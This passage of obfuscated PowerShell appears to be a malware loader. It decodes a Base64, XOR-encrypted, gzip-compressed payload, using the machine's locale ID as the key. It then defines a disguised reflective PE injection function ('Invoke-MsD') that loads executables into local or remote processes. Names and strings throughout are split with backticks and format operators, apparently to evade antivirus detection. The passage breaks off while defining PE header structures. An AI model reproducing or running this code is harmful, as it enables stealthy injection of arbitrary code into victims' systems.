,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0)) | Out-Null $pg=""+(get-culture).LCID foreach ($Dy in $magg){ $o = @() $xx = "$($pg)".ToCharArray() $re = [System.Text.Encoding]::UTF8 $Dy = [System.Convert]::FromBase64String($Dy) for ($i = 0; $i -lt $Dy.count; $i++) { $o += [char]([Byte]$Dy[$i] -bxor [Byte]$xx[$i%$xx.count]) }} $DXx = $re.GetString($o) if ([environment]::OSVersion.Version.Major -eq 6){$Uno=(a IO.StreamReader((a IO.Compression.GzipStream([IO.MemoryStream][Convert]::FromBase64String($Dxx),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()}else{$Uno = [ee]::De($Dxx)} ${G`lo`Bal:MG`GG} = ${U`No} function In`VOke`-MsD { [CmdletBinding()] Param( [Parameter(pOSItiOn = 0, MaNDATORy = ${FaL`SE})] [ValidateNotNullOrEmpty()] [Byte[]] ${PEBY`T`es}, [Parameter(PosiTIOn = 1)] [String[]] ${cO`MP`Ut`erNA`me}, [Parameter(POSiTiON = 2)] [ValidateSet( 'WString', 'String', 'Void' )] [String] ${fUNc`Re`TUR`N`TYpE} = 'Void', [Parameter(pOsItion = 3)] [String] ${e`xeAr`gS}, [Parameter(POSItIOn = 4)] [Int32] ${pROC`iD}, [Parameter(pOSiTion = 5)] [String] ${pro`C`N`AmE}, [Switch] ${fORc`eA`SLr}, [Switch] ${D`oNoTZErO`Mz} ) &("{3}{0}{1}{4}{2}"-f 't-S','tr','tMode','Se','ic') -Version 2 ${R`EmoT`ESC`R`IPtBL`OCK} = { [CmdletBinding()] Param( [Parameter(PosiTIOn = 0, mANdaToRY = ${tr`Ue})] [Byte[]] ${pEB`y`TeS}, [Parameter(pOSITioN = 1, mandaToRy = ${tR`Ue})] [String] ${fU`N`Cr`E`TuRNtype}, [Parameter(pOSITIon = 2, mAnDATOry = ${T`Rue})] [Int32] ${PR`OcID}, [Parameter(PositioN = 3, manDATORy = ${T`RUE})] [String] ${P`ROcNA`mE}, [Parameter(PoSItiON = 4, MAnDAtOrY = ${t`Rue})] [Bool] ${F`Or`Ceaslr} ) Function gET`-wIN32TY`PeS { ${WIn`32T`yP`ES} = &('a') ("{0}{2}{1}"-f'System','ect','.Obj') ${dom`A`iN} = [AppDomain]::"curr`e`N`TdomAIN" ${DYNam`iCa`SSembLy} = &('a') ("{6}{5}{1}{0}{3}{2}{4}"-f 'lec','.Ref','ion.AssemblyNa','t','me','tem','Sys')('DynamicAssembly') ${ASSE`mblYbu`ILDeR} = ${Do`MAIn}."D`e`F`IN`ed`yNAMicA`sSEmbLY"(${dYnaMIcaS`se`Mb`lY}, [System.Reflection.Emit.AssemblyBuilderAccess]::"R`UN") ${mODu`L`Eb`UilDer} = ${a`sSeMbLybU`iL`DEr}."defINEdYN`A`m`IC`M`odU`lE"('DynamicModule', ${f`ALse}) ${CONst`R`U`CtO`RiNfO} = [System.Runtime.InteropServices.MarshalAsAttribute]."g`etC`OnstR`Uc`TORs"()[0] ${T`Y`pEbuilDEr} = ${MODu`lEB`Ui`ldeR}."D`EfINee`NUm"('MachineType', 'Public', [UInt16]) ${Ty`PebuILD`eR}."de`FI`Ne`L`ItErAL"('Native', [UInt16] 0) | &("{1}{0}{2}" -f 't-Nu','Ou','ll') ${T`YPEbUil`DEr}."defi`N`eLITEr`Al"('I386', [UInt16] 0x014c) | &("{2}{1}{0}" -f'l','t-Nul','Ou') ${t`y`PeBui`LDer}."DEFINeli`TE`R`AL"('Itanium', [UInt16] 0x0200) | &("{1}{0}{2}" -f'-','Out','Null') ${Ty`pebuI`ld`Er}."deFI`NEl`ItEr`AL"('x64', [UInt16] 0x8664) | &("{0}{2}{1}"-f 'Ou','ull','t-N') ${MaCH`I`N`ETypE} = ${t`y`peB`UIlDeR}."c`RE`ATe`Type"() ${W`i`N3`2TYpES} | &("{2}{1}{0}" -f 'r','Membe','Add-') -MemberType ("{2}{0}{1}" -f 'Pr','operty','Note') -Name ("{1}{2}{0}" -f'neType','M','achi') -Value ${MaCH`Inety`Pe} ${TyP`EbU`iLd`er} = ${ModuLeBu`I`ldER}."defIn`E`EnuM"('MagicType', 'Public', [UInt16]) ${Typ`EbUI`LdER}."D`efi`NELi`TEral"('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | &("{1}{0}" -f'-Null','Out') ${Typ`ebUi`LDeR}."D`EfInELi`TERAl"('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | &("{0}{1}" -f 'Ou','t-Null') ${MAGI`cty`PE} = ${t`ypEBU`ILDEr}."c`REAt`EtY`Pe"() ${wIn3`2TY`PEs} | &("{1}{0}{2}" -f 'emb','Add-M','er') -MemberType ("{2}{0}{1}"-f 'otePropert','y','N') -Name ("{0}{2}{1}" -f 'Mag','ype','icT') -Value ${mAGic`T`ype} ${t`yp`ebuiL`dEr} = ${m`oD`Ul`e`BuiLdER}."DEfiNe`e`NuM"('SubSystemType', 'Public', [UInt16]) ${TY`pEbUILd`er}."DeFINelI`T`eraL"('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | &("{0}{1}{2}" -f 'Out','-Nul','l') ${TYpe`BU`I`lDeR}."defIne`LI`TErAl"('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | &("{1}{0}{2}" -f'Nu','Out-','ll') ${TypeBu`I`LD`Er}."DE`F`ineL`iteR`Al"('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | &("{1}{0}{2}" -f'ut-','O','Null') ${t`Ype`BuIl`DEr}."DEFIN`Eli`TErAL"('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | &("{2}{1}{0}"-f'l','-Nul','Out') ${T`YPeBU`i`LDer}."De`FINeLiter`AL"('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | &("{0}{2}{1}" -f 'O','-Null','ut') ${t`yPe`B`UILdEr}."d`efINe`LItE`RAl"('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | &("{0}{1}"-f'Out','-Null') ${ty`PE`Bui`LdeR}."DeFINe`li`T`erAl"('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | &("{0}{1}{2}"-f'O','u','t-Null') ${T`YPEbuil`dEr}."DEFINElItE`R`AL"('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | &("{1}{2}{0}"-f'-Null','Ou','t') ${typeb`U`il`dER}."DEf`InELIt`eR`AL"('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | &("{0}{1}{2}" -f'Out-','Nul','l') ${TyP`eBUI`L`DeR}."DEF`iNeLI`T`ErAl"('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | &("{0}{1}" -f 'Out-Nu','ll') ${T`yPEb`UIld`er}."DefINEli`TE`Ral"('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | &("{0}{2}{1}" -f 'O','ll','ut-Nu') ${SuB`S`YsT`eMt`ype} = ${t`YpeBUild`Er}."Crea`TE`T`ypE"() ${win`3`2ty`PeS} | &("{2}{0}{1}" -f 'm','ber','Add-Me') -MemberType ("{1}{2}{0}"-f 'ty','No','teProper') -Name ("{0}{2}{3}{1}"-f'SubSys','e','t','emTyp') -Value ${su`B`SYSTEm`TyPe} ${t`yp`Eb`UildER} = ${M`oDul`eb`UIlDEr}."dE`FINe`e`NUm"('DllCharacteristicsType', 'Public', [UInt16]) ${t`YPe`BUiLDeR}."d`E`FineL`ItER`AL"('RES_0', [UInt16] 0x0001) | &("{2}{0}{1}" -f'ut-N','ull','O') ${t`ypEb`UIldER}."dEFinEl`itE`R`AL"('RES_1', [UInt16] 0x0002) | &("{2}{1}{0}" -f'-Null','t','Ou') ${T`Yp`EBU`ildEr}."De`Fi`NeLItE`R`AL"('RES_2', [UInt16] 0x0004) | &("{1}{0}{2}"-f 'l','Out-Nu','l') ${t`yPeBUi`ldeR}."De`F`I`NElITEraL"('RES_3', [UInt16] 0x0008) | &("{0}{1}"-f 'Ou','t-Null') ${t`Yp`EBUilDer}."d`Ef`I`N`elItErAL"('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | &("{0}{1}{2}"-f 'Ou','t-','Null') ${TY`PeBUIl`dEr}."dEFin`ELIT`ER`AL"('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | &("{1}{0}{2}" -f 'l','Out-Nu','l') ${T`ypEbu`I`ldEr}."DEFInEliTe`R`AL"('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | &("{1}{2}{0}" -f'll','Out','-Nu') ${tyPEbU`I`ld`er}."DEfinel`iTE`RaL"('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | &("{1}{2}{0}"-f'll','O','ut-Nu') ${TYpe`BUi`l`dEr}."D`eFINEL`i`TEral"('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | &("{0}{2}{1}" -f'Out-','ll','Nu') ${t`yPeBUiL`DeR}."DE`FineLI`T`E`RaL"('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | &("{1}{0}{2}"-f'-Nul','Out','l') ${TYP`EbuiL`dER}."Defi`N`eLiTeral"('RES_4', [UInt16] 0x1000) | &("{0}{1}{2}" -f 'Ou','t-','Null') ${TYp`Eb`UILdEr}."dEf`i`NElIteRAL"('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | &("{2}{0}{1}" -f 't-','Null','Ou') ${tYpE`BUil`DEr}."D`EfinEL`ItEral"('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | &("{1}{2}{0}"-f '-Null','Ou','t') ${dLlCHARaCt`ER`istiCst`Y`pE} = ${TypEBUi`lD`er}."cReA`T`ETy`pe"() ${WIN3`2t`YPeS} | &("{3}{2}{1}{0}"-f'r','e','-Memb','Add') -MemberType ("{0}{1}{2}" -f'N','otePr','operty') -Name ("{0}{4}{3}{1}{5}{2}" -f 'D','stics','e','ri','llCharacte','Typ') -Value ${dlLCHaR`AcTERis`Tic`S`Ty`Pe} ${AtTr`IBuT`Es} = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' ${tYpeBuI`l`deR} = ${ModULE`Bu`ilD`er}."D`efinE`TyPe"('IMAGE_DATA_DIRECTORY', ${a`TtrI`BUTeS}, [System.ValueType], 8) (${TYPE`Bui`Lder}."D`eF`InEfIE`ld"('VirtualAddress', [UInt32], 'Public'))."Set`OFfs`eT"(0) | &("{2}{0}{1}" -f 'ut-Nu','ll','O') (${TYp`E`B`UildER}."De`FinEf`ieLd"('Size', [UInt32], 'Public'))."SetO`F`Fs`eT"(4) | &("{1}{2}{0}"-f'll','O','ut-Nu') ${I`M`Ag`e_DatA_d`iReCTORY} = ${t`YpE`BU`ILder}."cReATET`y`pE"() ${wI`N32T`YP`es} | &("{1}{2}{0}" -f'ember','Add-','M') -MemberType ("{0}{2}{1}" -f'N','eProperty','ot') -Name ("{0}{4}{3}{1}{2}"-f'IMAGE_DAT','C','TORY','_DIRE','A') -Value ${Ima`gE_D`ATa_DIRe`ctory} ${a`TT`RIbUTeS} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' ${typEB`UI`ld`Er} = ${M`O`Du`lebUI`lder}."dEFI`NeT`YPe"('IMAGE_FILE_HEADER', ${a`TtrI`BuTeS}, [System.ValueType], 20) ${type`B`UIlD`Er}."de`Fi`NeFiEld"('Machine', [UInt16], 'Public') | &("{2}{0}{1}" -f 'Nu','ll','Out-') ${tYp`e`B`Uilder}."D`EFiNE`FiE`lD"('NumberOfSections', [UInt16], 'Public') | &("{1}{2}{0}" -f'-Null','Ou','t') ${TyP`EbuI`LDEr}."dEf`IneFie`LD"('TimeDateStamp', [UInt32], 'Public') | &("{1}{2}{0}"-f'l','Ou','t-Nul') ${tYPE`BUI`L`Der}."DeF`inEF`IelD"('PointerToSymbolTable', [UInt32], 'Public') | &("{1}{2}{0}" -f 'll','Out-N','u') ${typ`eb`UIld`er}."DEFI`N`ef`ieLD"('NumberOfSymbols', [UInt32], 'Public') | &("{0}{1}"-f'Out-Nul','l') ${T`YPE`BuiL`der}."De`FiNeF`i`ELD"('SizeOfOptionalHeader', [UInt16], 'Public') | &("{0}{2}{1}" -f 'Out-N','ll','u') ${TYp`e`BU`iLdER}."d`efin`EFI`ElD"('Characteristics', [UInt16], 'Public') | &("{1}{0}{2}"-f 'ut-N','O','ull') ${imaGe_`F`i`l`E_heAd`Er} = ${t`Y`pebUIlD`er}."cReA`T`ETYpE"() ${w`i`N32t`ypeS} | &("{2}{0}{1}" -f 'd','-Member','Ad') -MemberType ("{1}{2}{0}{3}" -f'er','N','oteProp','ty') -Name ("{1}{2}{4}{3}{0}"-f 'DER','IMAGE_FI','L','A','E_HE') -Value ${i`M`AGe`_Fil`e_hEad`ER} ${At`TR`ibUteS} = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' ${Type`Bui`l`DeR} = ${modUle`BU`ILD`eR}."d`efinet`YPE"('IMAGE_OPTIONAL_HEADER64', ${Attrib`U`T`ES}, [System.ValueType], 240) (${type`Build`eR}."D`e`FINeFiElD"('Magic', ${m`Ag`IcTYpe}, 'Public'))."SEt`OFFSet"(0) | &("{0}{1}" -f'Ou','t-Null') (${typE`BUi`L`dER}."d`efInEfi`ELD"('MajorLinkerVersion', [Byte], 'Public'))."s`eToFFSeT"(2) | &("{1}{2}{0}" -f't-Null','O','u') (${typEBu`I`lDeR}."DEFi`NeF`i`ELd"('MinorLinkerVersion', [Byte], 'Public'))."sET`oFf`sET"(3) | &("{1}{0}" -f'ut-Null','O') (${tYpeb`Ui`LD`eR}."De`FIneFI`ElD"('SizeOfCode', [UInt32], 'Public'))."SEtO`F`FSEt"(4) | &("{0}{2}{1}" -f'Out','ull','-N') (${tYPe`BU`I`ldeR}."d`eFI`Ne`FiELD"('SizeOfInitializedData', [UInt32], 'Public'))."SeTo`FFS`Et"(8) | &("{0}{1}{2}"-f'Out','-','Null') (${tYp`EbUI`LDeR}."deF`IneF`IElD"('SizeOfUninitializedData', [UInt32], 'Public'))."SE`T`OffsEt"(12) | &("{1}{0}" -f '-Null','Out') (${tyPE`BuILD`Er}."dEfiNeF`iE`ld"('AddressOfEntryPoint', [UInt32], 'Public'))."sE`ToF`FSet"(16) | &("{2}{0}{1}"-f'Nu','ll','Out-') (${tYP`EbUIL`D`eR}."DEF`IN`EFiELd"('BaseOfCode', [UInt32], 'Public'))."s`ETofFs`Et"(20) | &("{0}{1}{2}"-f 'Out','-N','ull') (${TY`pe`Buil`DER}."d`E`F`iNeFIeLD"('ImageBase', [UInt64], 'Public'))."s`ETOffsEt"(24) | &("{1}{0}" -f 'l','Out-Nul') (${T`YpEBUi`LDEr}."DEfI`Nefi`eLd"('SectionAlignment', [UInt32], 'Public'))."S`Et`OffsET"(32) | &("{0}{1}{2}" -f 'Out-','Nul','l') (${tYPEb`UI`Ld`eR}."dE`F`iNeFi`ElD"('FileAlignment', [UInt32], 'Public'))."sETOFf`s`eT"(36) | &("{1}{0}{2}"-f't-Nul','Ou','l') (${TyPE`BuI`l`DEr}."deFI`NEF`I`eld"('MajorOperatingSystemVersion', [UInt16], 'Public'))."SE`TOfFSet"(40) | &("{1}{2}{0}" -f'll','O','ut-Nu') (${TyPEBUi`l`dEr}."dE`FIn`EfiEld"('MinorOperatingSystemVersion', [UInt16], 'Public'))."SetO`FfS`Et"(42) | &("{0}{2}{1}" -f 'Out-','l','Nul') (${T`Ypeb`UIldER}."defINEf`i`Eld"('MajorImageVersion', [UInt16], 'Public'))."set`o`FfSet"(44) | &("{0}{1}" -f'O','ut-Null') (${TYpE`BUil`DEr}."Def`INE`F`IeLD"('MinorImageVersion', [UInt16], 'Public'))."s`eT`ofFSeT"(46) | &("{1}{0}{2}" -f '-Nul','Out','l') (${tYp`EbUi`ld`er}."De`FiNe`F`iElD"('MajorSubsystemVersion', [UInt16], 'Public'))."se`TO`FFSEt"(48) | &("{0}{1}{2}"-f 'O','ut-','Null') (${T`Yp`EBUIl`DER}."d`eF`IneF`IELD"('MinorSubsystemVersion', [UInt16], 'Public'))."SE`ToF`FSet"(50) | &("{1}{0}" -f 'ut-Null','O') (${T`Yp`e`BuildER}."DEfineF`i`ELD"('Win32VersionValue', [UInt32], 'Public'))."s`EToffSeT"(52) | &("{0}{1}{2}"-f 'Ou','t-Nul','l') (${typ`eb`UiLDer}."dE`FINe`FIeLD"('SizeOfImage', [UInt32], 'Public'))."sEToff`s`eT"(56) | &("{2}{0}{1}"-f '-Nu','ll','Out') (${t`YpebUI`ldER}."DEfinE`FiE`lD"('SizeOfHeaders', [UInt32], 'Public'))."Se`TOffset"(60) | &("{0}{1}" -f'O','ut-Null') (${Typ`E`BuI`Lder}."dE`F`inefIeLd"('CheckSum', [UInt32], 'Public'))."set`OFF`SET"(64) | &("{0}{1}"-f'Out','-Null') (${Ty`pebu`IldEr}."dE`FINef`iE`ld"('Subsystem', ${s`Ub`sYSTEmTy`pE}, 'Public'))."set`oFfs`et"(68) | &("{2}{1}{0}" -f 'l','Nul','Out-') (${tYP`e`BuIlDER}."deFi`NE`Fi`elD"('DllCharacteristics', ${dL`LCHARAC`TeRiS`TicStYpe}, 'Public'))."sE`ToFFSeT"(70) | &("{1}{2}{0}"-f 'ull','O','ut-N') (${Typeb`UIld`Er}."deFIn`e`FiElD"('SizeOfStackReserve', [UInt64], 'Public'))."S`EtoFFS`et"(72) | &("{0}{1}{2}" -f 'O','ut-Nu','ll') (${T`ype`BUiL`DEr}."dEfI`Nef`iE`lD"('SizeOfStackCommit', [UInt64], 'Public'))."sETo`FF`seT"(80) | &("{1}{0}{2}"-f'-','Out','Null') (${tYP`E`B`UiLDEr}."DE`FiN`e`FIELd"('SizeOfHeapReserve', [UInt64], 'Public'))."sE`ToFF`set"(88) | &("{0}{1}" -f'Ou','t-Null') (${tY`pEbUi`ldeR}."deFin`efie`LD"('SizeOfHeapCommit', [UInt64], 'Public'))."SETOFF`SeT"(96) | &("{0}{2}{1}" -f 'O','ll','ut-Nu') (${tYp`ebUIL`DER}."de`Fi`NefiELd"('LoaderFlags', [UInt32], 'Public'))."sETo`Ffs`Et"(104) | &("{0}{1}{2}" -f'O','ut-Nul','l') (${tYpEb`UI`l`der}."dEF`i`NEFiE`lD"('NumberOfRvaAndSizes', [UInt32], 'Public'))."SETOF`F`sEt"(108) | &("{0}{1}{2}" -f 'Ou','t-Nu','ll') (${tY`PeBui`lD`ER}."DEFi`NeF`iE`LD"('ExportTable', ${I`MaG`E`_DaTa_DIR`ECtOry}, 'Public'))."sEt`OFFS`Et"(112) | &("{1}{0}{2}" -f'-Nul','Out','l') (${t`y`PEbUiLd`ER}."D`eFI`NE`FIELD"('ImportTable', ${imaGe`_D`A`TA_Dir`ECT`ORY}, 'Public'))."se`ToF`Fs`ET"(120) | &("{1}{0}{2}"-f'ut-Nu','O','ll') (${t`yPebu`il`dER}."dE`F`iNEFIE`Ld"('ResourceTable', ${I`MA`ge`_DAtA_dIrec`T`oRy}, 'Public'))."Set`OFfSeT"(128) | &("{2}{0}{1}" -f'ut-','Null','O') (${tyP`EBu`ILD`Er}."deFI`NEFi`eLd"('ExceptionTable', ${iMaG`E_`Dat`A_D`iRECT`orY}, 'Public'))."SeT`oFFsET"(136) | &("{1}{2}{0}" -f 'll','Ou','t-Nu') (${T`ypeBuI`ld`er}."dEfi`NEfI`elD"('CertificateTable', ${ImaG`E_daTA_diRE`C`T`oRY}, 'Public'))."s`etoffS`et"(144) | &("{0}{1}" -f 'Out-Nu','ll') (${TYp`EbUIL`d`er}."d`E`FI`NeFIEld"('BaseRelocationTable', ${iM`AgE_`D`AtA_DiReC`ToRy}, 'Public'))."Set`OFF`SET"(152) | &("{1}{2}{0}"-f 'ull','O','ut-N') (${Ty`p`EBU`IlDer}."d`eFINeFI`ELd"('Debug', ${i`mA`ge`_datA`_di`Re`ctoRY}, 'Public'))."S`Et`OFfSEt"(160) | &("{0}{2}{1}" -f'Ou','ll','t-Nu') (${ty`Pe`BUild`er}."DefiN`EF`IELD"('Architecture', ${imaG`E`_dAt`A_`dIrEc`To`Ry}, 'Public'))."SE`TO`FfSet"(168) | &("{1}{0}{2}" -f '-Nu','Out','ll') (${TYpe`BUi`LD`er}."DEF`IN`eF`ield"('GlobalPtr', ${iM`AGe_D`AtA`_`diRECtoRy}, 'Public'))."setoFf`S`eT"(176) | &("{2}{1}{0}"-f 'l','Nul','Out-') (${TY`P`ebUil`DEr}."DEf`i`NeFiELd"('TLSTable', ${i`mag`e`_data_d`IRECt`orY}, 'Public'))."SETOf`FSeT"(184) | &("{2}{0}{1}"-f't-Nul','l','Ou') (${T`yp`eBUI`ldeR}."DE`F`iN`eFIeLD"('LoadConfigTable', ${iM`AG`E`_daTA_D`IrEC`TorY}, 'Public'))."S`Etof`FS`et"(192) | &("{2}{0}{1}" -f't-Nu','ll','Ou') (${TyPeBu`I`l`dER}."DEfI`Nefi`elD"('BoundImport', ${iMagE`_`data_`diR`ecto`RY}, 'Public'))."SETo`FfS`eT"(200) | &("{1}{0}{2}" -f 'ut-Nul','O','l') (${T`YP`EbUIldeR}."D`eF`iNe`FIELD"('IAT', ${imAgE_dA`Ta_`Dire`C`T`ORy}, 'Public'))."SEToFFs`ET"(208) | &("{0}{2}{1}"-f 'Ou','l','t-Nul') (${TY`PE`BU`ILDEr}."D`e`FinEFie`ld"('DelayImportDescriptor', ${ImAge_`dAT`A_`Dir`ecTO`RY}, 'Public'))."s`E`TOffs`ET"(216) | &("{1}{0}" -f 't-Null','Ou') (${TY`p`e`BuilDER}."defI`N`efi`eLD"('CLRRuntimeHeader', ${iMage_DAtA`_d`IRE`CtORy}, 'Public'))."S`EtOFfs`eT"(224) | &("{2}{1}{0}"-f 'l','-Nul','Out') (${T`ypEb`UIL`dEr}."Defi`Nefi`elD"('Reserved', ${IM`Age_daT`A_`dir`ectoRY}, 'Public'))."s`eT`offSEt"(232) | &("{0}{1}{2}"-f 'O','ut-','Null') ${IM`Age_`OPtio`N`A`l_HEa`deR64} = ${ty`PebUI`Ld`eR}."CReAt`E`Ty`pE"() ${WIN`32tY`pEs} | &("{1}{2}{0}{3}" -f 'e','Add-Me','mb','r') -MemberType ("{0}{2}{1}{3}"-f 'N','e','oteProp','rty') -Name ("{3}{6}{2}{0}{1}{5}{4}{7}" -f'IO','NA','E_OPT','IMA','_HE','L','G','ADER64') -Value ${iM`A`g`E_op`T`I`onaL_HeaDe`R64} ${aTt`RIBUt`ES} = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' ${ty`pEbUi`l`der} = ${mO`dU`lebuilD`ER}."D`EfiNEty`Pe"('IMAGE_OPTIONAL_HEADER32', ${a`TTri`BuTes}, [System.ValueType], 224) (${TyPe`B`UILD`er}."DeFi`N`EField"('Magic', ${maG`icTy`pe}, 'Public'))."sEtOF`FS`eT"(0) | &("{1}{0}" -f'll','Out-Nu') (${tYpEb`UIl`deR}."DeFi`N`EFIELD"('MajorLinkerVersion', [Byte], 'Public'))."SEtO`Ff`s`ET"(2) | &("{2}{1}{0}"-f'll','Nu','Out-') (${ty`p`EBUil`dER}."DE`F`iNefI`eLd"('MinorLinkerVersion', [Byte], 'Public'))."SE`TOFf`SET"(3) | &("{1}{0}" -f't-Null','Ou') (${tY`pEbuI`ldER}."D`EFiNefI`eLD"('SizeOfCode', [UInt32], 'Public'))."sEtof`F`seT"(4) | &("{2}{1}{0}"-f'l','-Nul','Out') (${TYP`ebU`iLdEr}."DEFi`NEF`IELd"('SizeOfInitializedData', [UInt32], 'Public'))."SET`OF`Fs`Et"(8) | &("{2}{1}{0}"-f'll','-Nu','Out') (${TY`Peb`UiLd`eR}."dEfIn`Ef`IElD"('SizeOfUninitializedData', [UInt32], 'Public'))."Setoff`SeT"(12) | &("{1}{2}{0}"-f 'Null','Out','-') (${t`ypeb`Uil`deR}."dEfIn`ef`ield"('AddressOfEntryPoint', [UInt32], 'Public'))."SEtof`Fs`ET"(16) | &("{1}{0}" -f 'ull','Out-N') (${t`Y`PEbUiLdEr}."de`F`InEfie`LD"('BaseOfCode', [UInt32], 'Public'))."s`e`TO`FfSET"(20) | &("{2}{1}{0}" -f 'l','t-Nul','Ou') (${Ty`peb`UiL`der}."d`e`FINEfIE`LD"('BaseOfData', [UInt32], 'Public'))."SEt`offSET"(24) | &("{2}{1}{0}"-f '-Null','ut','O') (${TypeBu`I`l`der}."d`eFINE`F`iElD"('ImageBase', [UInt32], 'Public'))."s`E`ToF`FsEt"(28) | &("{1}{2}{0}" -f'-Null','Ou','t') (${TY`pEb`Ui`ldER}."DeF`I`N`EField"('SectionAlignment', [UInt32], 'Public'))."s`e`TOffSET"(32) | &("{1}{0}{2}"-f 'u','Out-N','ll') (${T`yP`EbUI`Lder}."dEf`Inef`IeLd"('FileAlignment', [UInt32], 'Public'))."sE`T`oFfset"(36) | &("{0}{1}" -f'Out','-Null') (${typeB`U`ilder}."d`EFi`Nefi`eLd"('MajorOperatingSystemVersion', [UInt16], 'Public'))."Set`oFFs`et"(40) | &("{1}{0}{2}"-f'ut','O','-Null') (${T`YPe`BuIlDEr}."d`EfinE`FIelD"('MinorOperatingSystemVersion', [UInt16], 'Public'))."S`e`ToffseT"(42) | &("{1}{0}{2}"-f't','Ou','-Null') (${ty`pEbuI`L`der}."dEf`InEf`i`eld"('MajorImageVersion', [UInt16], 'Public'))."S`eToFf`sEt"(44) | &("{1}{2}{0}" -f 'll','Out-N','u') (${tY`pEBu`ILD`Er}."dEf`Ine`FIe`lD"('MinorImageVersion', [UInt16], 'Public'))."seTofF`s`eT"(46) | &("{2}{1}{0}" -f 'l','Nul','Out-') (${TypEB`Ui`LDeR}."d`EFi`NEfiELd"('MajorSubsystemVersion', [UInt16], 'Public'))."se`TOfF`SET"(48) | &("{1}{0}{2}" -f'u','O','t-Null') (${TYp`ebu`iLdER}."deFINE`FIe`LD"('MinorSubsystemVersion', [UInt16], 'Public'))."se`TOFFs`et"(50) | &("{0}{2}{1}"-f 'Out','ll','-Nu') (${TY`peBu`Il`dER}."dE`Fin`EFiEld"('Win32VersionValue', [UInt32], 'Public'))."Seto`FF`S`ET"(52) | &("{1}{0}" -f'ull','Out-N') (${tyP`eb`UI`lDER}."dEF`IN`EF`IELD"('SizeOfImage', [UInt32], 'Public'))."S`ETOffSET"(56) | &("{1}{0}{2}"-f '-','Out','Null') (${t`Y`pebUIL`der}."deFiNE`F`Ield"('SizeOfHeaders', [UInt32], 'Public'))."S`EtOFfS`et"(60) | &("{2}{1}{0}" -f'l','-Nul','Out') 